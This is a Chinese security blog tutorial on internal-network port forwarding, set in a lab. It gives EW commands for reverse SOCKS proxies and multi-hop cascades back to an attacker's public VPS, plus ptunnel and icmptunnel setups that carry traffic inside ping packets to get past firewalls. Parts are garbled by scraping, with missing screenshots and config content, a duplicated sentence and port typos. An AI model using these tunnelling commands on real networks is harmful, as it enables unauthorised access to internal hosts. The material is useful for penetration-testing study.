内网端口代理与转发

作者:Ca1y0n 编辑:白帽子社区运营团队

    " 前言:为建设一个更加具有交流意义以及更开放的安全社区,白帽子社区现在开始有偿收稿啦!更多具体信息请在中回复“投稿”了解!

        白帽子社区CTF靶场(BMZCTF)已经开放,欢迎各位访问,在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接()

"    

在渗透内网的时候,总会遇到一些无法出外网的机器、这里总结下常见的端口转发。

实验拓扑如下

0x01工具:EWEW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。ew常用参数说明:-l:指定要监听的本地端口-d:指定要反弹到的机器 ip-e:指定要反弹到的机器端口-f:指定要主动连接的机器 ip-g:指定要主动连接的机器端口-t:指定超时时长,默认为 1000该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。正向SOCKS 5 服务器在kali访问主机A 是访问不到的在主机B中,开启正向代理编辑kali中 /etc/proxychains.conf 文件,添加以下内容再次进行访问,发现可以成功访问反向代理在公网主机运行以下命令(这里以kali代表公网)将本机的8888端口的流量转发到1080端口, 8888端口只是用于传输流量,配置proxychains的配置文件为socks5 127.0.0.1 1080./ew_for_linux64 -s rcsocks -l 1080 -e 8888在Centos7运行以下命令、将本地的流量转发到192.168.238.145的8888端口./ew_for_linux64 -s rssocks -d 192.168.238.145 -e 8888访问主机B二级及联场景一:假设我们已经获得了主机A和主机B的权限,A主机配有两块网卡,一块可以连接外网,另一块可以只能连接内网主机B,但是A主机无法访问内网中其他资源,B主机可以访问内网资源,但是无法访问外网。①首先在Centos6主机上,利用ew的ssocksd方式启动8888端口的SOCKS代理。ew.exe -s ssocksd -l 8888在主机A中,设置本地1080端口转发到主机B的8888端口上场景二:假设我们已经获得了目标网络主机A和主机B的权限,主机A没有公网IP且不能访问内网资源,主机B可以访问内网资源,但无法访问外网,主机A可以访问主机B。首先在公网VPS(kali)上添加转接隧道,将1080端口收到的代理请求转发给8888端口①首先在KALI上添加转接隧道,将1080端口接受到的请求转发到8888端口./ew_for_linux64 -s lcx_listen -l 1080 -e 8888② 然后在主机B上、使用ssocksd方式启动9999端口的代理服务./ew_for_linux64 -s ssocksd -l 9999③ 最后,在主机A上使用lcx_slave 方式将kali的8888端口与主机B的9999端口连接./ew_for_linux64 -s lcx_slave -d 192.168.238.145 8888 -f 192.168.52.133 -g 9999这样的话就可以愉快地访问三级级联场景如下:内网A主机没有公网IP,但可以访问外网,B主机不能访问外网,但可以被A主机访问;C主机可被B主机访问,并能够访问核心区域。①在公网VPS上执行如下命令,将1080端口接收到的SOCKS代理请求转发到8888端口。ew -s rcsocks -l 1080 -e 8888②接着在A主机上执行如下命令,将VPS的888端口和内网主机B的999端口连接起来。./ew_for_linux64 -s lcx_slave -d 192.168.238.145 -e 8888 -f 192.168.52.133 -g 9999③然后在主机B上执行如下命令,将9999端口接收到的代理请求转发给7777端口。ewew -s lcx_listen -l 999 -e 7777④在C主机上启动SOCKS服务,并反弹到B主机的7777端口上。ew -s rssocks -d 192.168.190.130 -e 7777然后,访问公网VPS的1080端口,即可使用在C主机上假设的SOCKS代理。我们可以配置kali的proxychains代理地址为我们公网VPS的地址,然后就使用desktop连接内网主机D的远程桌面。

0x02 ICMP隧道

在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道,DNS隧道,正反向端口转发等)进行操作均失败。那么可以尝试使用ICMP建立隧道,ICMP协议不需要端口的开放,因为其基于IP工作的,所以我们将其归结到网络层,ICMP消息最为常见的就是ping命令的回复,将TCP/UDP数据包封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙是不会屏蔽ping数据包的)这里使用的工具为ptunnel安装# Note: depends on libpcapwget -c ~daniels/PingTunnel/PingTunnel-0.72.tar.gztar -xzf PingTunnel-0.72.tar.gzcd PingTunnelmake # Doesnt mind -j#make install场景如下:搭建好后在主机A启用在kali启用参数说明:-p 跳板机地址-lp 转发到本地的端口 -da 目标地址-dp 目标端口-x 密码连接本地的3389 即可访问B主机的3389icmptunnelicmptunnel的优势在于可以穿过状态防火墙或NAT一些设备会过滤没有匹配响应数据包的 Ping 包。而在非对称连接中,来自服务器端的流量会大于客户端,反之亦然,这样客户端可能会丢弃一些相应数据包,因为响应数据包多余请求数据包。icmptunnel 有一个机制来专门解决这个问题。客户端会定期发送一个空的 ICMP 请求数据包给状态防火墙或 NAT,而这些请求数据包都会被记录在防火墙状态表中。同时通过保持发送带有载体的数据包,这样客户端会维持一个可以用于服务器端发送数据的“数据包窗口”。、安装icmptunnelgit clone ;cd icmptunnelmake攻击者IP:192.168.238.145受害者IP:192.168.238.151攻击者开启icmptunnel服务端模式echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all #阻止内核响应 ping 数据包在攻击端端启动 icmptunnel ./icmptunnel –s开启另一个终端执行以下命令。给隧道接口分配一个IP地址客户端在客户端使用 icmptunnel 连接上服务器并给隧道接口分配一个 IP 地址客户端在客户端使用 icmptunnel 连接上服务器并给隧道接口分配一个 IP 地址进行查看在攻击端直接进行链接往期精彩文章BMZCTF 刷题记录 #12020技协杯WPBMZCTF渗透测试公开赛 WPCVE‐2020‐14882 weblogic未授权命令执行复现技术支持:白帽子社区团队— 扫码关注我们 —